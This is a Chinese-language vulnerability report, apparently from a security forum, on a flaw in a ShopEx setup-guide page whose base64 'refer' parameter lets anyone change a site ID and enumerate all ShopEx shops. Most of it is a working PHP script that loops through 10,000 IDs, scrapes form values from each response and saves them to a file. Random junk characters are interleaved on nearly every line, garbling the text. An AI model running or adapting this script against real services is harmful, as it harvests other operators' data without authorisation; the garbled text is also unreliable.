|
|
简要描述:
! M4 e* \* l% e, h- i( gShopEx某接口缺陷,可遍历所有网站
7 K- \4 Q0 h* R9 y5 Z5 Q% k详细说明:
# k1 @3 ~1 E4 y! ^( b e+ `问题出现在shopex 网店使用向导页面 9 M, N5 }- u* y& Q
; w+ ~5 m @) @) C8 W; q$ E% \; q0 P% }8 W
4 p; K: P* c9 k- m! M; C8 Z
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" n* K* x; P7 n4 I$ s$ ?2 W: H
/ {; e9 r, i* O9 C
9 G. D' M; o" Y% R) O Vrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}7 C0 t2 I }5 M k% p& q
& C+ B' r2 T/ e" b+ I
) N+ k) c, R! S5 z2 y- i) z$ C3 k5 a9 \
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 4 C) f e- F8 T `
' I- u8 b2 l" ]8 \& Y5 T
, ?2 t5 \% O% y. E/ p# o' D: j: l1 }' q# l6 a$ s
<?php( u$ D! e. k' S* j& u
- C9 t0 V! |9 J) c. ^
for ($i=1; $i < 10000; $i++) { //遍历4 U0 H! ?4 T2 [2 p
2 B0 K' Y, W" @5 m' I
ShowshopExD($i);
6 [6 R5 M0 L* J( `" t9 l
0 _7 _# S- U. j5 U* m }
% g- y+ K, q% e( ?4 t4 M% T) q! d i3 q
function ShowshopExD($cid) {
& v3 a# {* m7 K. d. l4 o/ ?
1 {0 ?5 r( j/ h $url='http://guide.ecos.shopex.cn/step2.php';+ @* Z$ }* Q) Q& Y4 d3 Y
0 j& {# \# t2 H& r; R2 _2 S8 A
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');4 O0 @5 p& p6 l& d" F: Z" s K
+ I; A+ T) h9 ~. U/ ~ $url = $url.'?refer='.$refer;
7 m3 o. l p( H3 R6 L& Q7 M4 l, t& C5 j; h
$ch = curl_init($url);$ J7 `8 s% n/ }
* v0 w8 {$ |$ e4 c curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;. G5 a, d5 X* c- r* x
3 q5 A7 {; X. W' g6 e! M# V
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;3 C" i, I7 q2 U& b+ u2 p* m
' Q. T( z, ^- m& J+ r3 ? $result = curl_exec($ch);
2 H% q* y. _ Q- I$ |. j# o% |3 O ^6 q4 t, a" M; r g6 `
$result = mb_convert_encoding($result, "gb2312", "UTF-8");$ Y* b9 `* F0 u, }2 e' [
# X& Q( ?3 y6 O5 w if(strpos($result,$refer))
5 J$ S% _. T9 k3 H t5 X; T* Q- j! H1 v
{
+ Z+ J" u X2 l: a3 t& C! x1 @, |
4 V: T) _ G/ A7 e $fp = fopen("c:/shopEx.txt",'ab'); //保存文件1 N0 P1 b7 p0 l% V8 A0 k: m) M- _7 E
* U& d7 h0 q, f( G1 _, v
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);# a. V u9 c( j: u* L* N
8 U( k# ]6 C" l# q" a
foreach ($value[1] as $key) {; ~ A6 Q4 b" N
( B9 B& ?% [$ Y5 H
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);' ?# {3 z6 s9 i4 r; u. K. k/ y- O
) J* Y) R; z! W echo $res[1][0].':'.$res[3][0]."\r\n";
0 M3 n/ d( u- w5 C! `; `
( ]: O& P8 K. g& c0 W: t $col =$res[1][0].':'.$res[3][0]."\r\n";
6 c. o/ N2 A0 s- L9 j( Q( C; d; c+ h5 K9 ^: U/ q
fwrite($fp, $col, strlen($col));
2 h+ X/ l4 {0 c" T7 U. e& h: e6 Z+ r6 h5 ]. Z# C& W
}) X( W3 k6 l; _
7 W- ~8 y& Q1 U. f echo '--------------------------------'."\r\n";; s; q* [3 b& n6 Q1 D2 g
J; m# b" Y7 M" f5 m
fclose($fp);
" K% p7 W' b0 S& [" ]8 t4 b' h9 h! m# j. E' R. F
}0 P7 ]- ~: y# _% w6 q# _. _, y' `
# i# d6 a" r K: @8 f0 @8 P; K
flush();
5 T- x7 G9 Q0 p" L3 `3 K) J5 H! m) u; U9 M
curl_close($ch);
2 n/ j* t7 o& g6 a/ A0 x+ S, @% r! w# ]7 U
}
( b9 @% Q0 \! x) E" c* ?7 l
4 T) n5 j) g( P0 {$ Z" s: B6 T# h?>5 R: a1 }' h: A. w; O# z
漏洞证明:- a" Z/ q6 R9 [: O
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg: J Z9 c2 L, G! n0 V8 E5 c. W
refer换成其他加密方式7 x: R9 ^6 t% ?- \
|
|